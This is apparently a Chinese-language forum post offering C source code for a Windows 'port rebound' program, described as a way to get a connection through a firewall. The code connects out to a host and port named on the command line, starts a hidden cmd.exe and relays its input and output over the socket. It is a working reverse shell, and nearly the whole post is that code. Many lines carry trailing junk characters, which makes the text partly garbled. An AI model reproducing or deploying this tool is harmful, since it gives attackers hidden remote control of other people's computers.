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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SQ'\Kd=  
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/* ============================== <` [o|>A Z  
Rebound port in Windows NT !l NCuR/T  
By wind,2006/7 2^ uP[  
===============================*/ 4PK/8^@7)>  
#include !iv6k~.e'2  
#include S!WG|75B  
3 @ahN2  
#pragma comment(lib,"wsock32.lib") [x{z}rYH  
=r|e]4  
void OutputShell(); q8A;%.ZLG  
SOCKET sClient; c"KN;9c,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; !]f80z  
Ey|{yUmU+  
void main(int argc,char **argv) d ~#B,+  
{ W4Z8U0co  
WSADATA stWsaData; $40G$w  
int nRet; I]GGmN  
SOCKADDR_IN stSaiClient,stSaiServer; i4T=4q  
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if(argc != 3) 'Em3;`/C*+  
{ =hRo#]{(K  
printf("Useage:\n\rRebound DestIP DestPort\n"); tTEw"DL_-  
return; [nc-~T+Mo  
} hgg 8r#4q  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <+y%k~("  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,J6t 1V  
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stSaiClient.sin_family = AF_INET; N\l|3~  
stSaiClient.sin_port = htons(0); kB` @M>[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); h;Hg/jv  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !;3hN$5  
{ Mz7qC3Z  
printf("Bind Socket Failed!\n"); `cQAO1-5  
return; 2Tp @;[!3  
} !zVjbYWY  
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stSaiServer.sin_family = AF_INET; E "%d O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); uG7?:) pxv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); d\ I6Wn  
!C(U9p. 0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &w!(.uDO  
{ r2%Qk  
printf("Connect Error!"); {S@gjMuN  
return; B?%e-xV-  
} $^e(?P q  
OutputShell(); 0fGt7 "Q  
} 1%$t;R  
=AcK9?%5  
void OutputShell() ~9y/MR  
{ .],:pL9d  
char szBuff[1024]; 2T?8{yO7  
SECURITY_ATTRIBUTES stSecurityAttributes; U5 ia|V  
OSVERSIONINFO stOsversionInfo; Or#KF6+ut  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k4d;4D?  
STARTUPINFO stStartupInfo; ,|g&v/WlC%  
char *szShell; wpWZn[j  
PROCESS_INFORMATION stProcessInformation; w5 #;Lm  
unsigned long lBytesRead; iCJXV'  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $."D OZQ3U  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); m*wDJEKo  
stSecurityAttributes.lpSecurityDescriptor = 0; : q>)c]  
stSecurityAttributes.bInheritHandle = TRUE; 63(XCO  
s)jNP\-  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;}lsD1S:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cQ;@z2\  
l)e6*sDZ,  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $O&N  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :IX,mDO  
stStartupInfo.wShowWindow = SW_HIDE; T/0cPn0>  
stStartupInfo.hStdInput = hReadPipe; riF-9 %i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HVdB*QEH  
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GetVersionEx(&stOsversionInfo); O2":)zU.  
|{ =Jp<} s  
switch(stOsversionInfo.dwPlatformId) VnqcpJ  
{ L=<$^m  
case 1: 1LaJ hrp?  
szShell = "command.com"; R|k:8v{V=  
break; KRX\<@  
default: .F'Cb)Z  
szShell = "cmd.exe"; ly69:TR7I  
break; 8>G5VhCm~o  
}  f,kV  
Y3#8]Z_"}O  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P1z:L  
r:PYAb=g  
send(sClient,szMsg,77,0); yRi5t{!V  
while(1) H2xDC_Fs  
{ s1R#X~d  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :L6%57  
if(lBytesRead) (/^?$~m"  
{ )Y&B63]B  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D-D8La?0p  
send(sClient,szBuff,lBytesRead,0); NiEz3ODSi  
} i03=Af3  
else [0 rH/{  
{ o6RT4`  
lBytesRead=recv(sClient,szBuff,1024,0); 1cx%+-  
if(lBytesRead<=0) break; Q,:h`%V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8#R%jjr%T  
} Lp3pJE  
} y<~(}xsHh  
:#\jx  
return; q,_E HPc  
}
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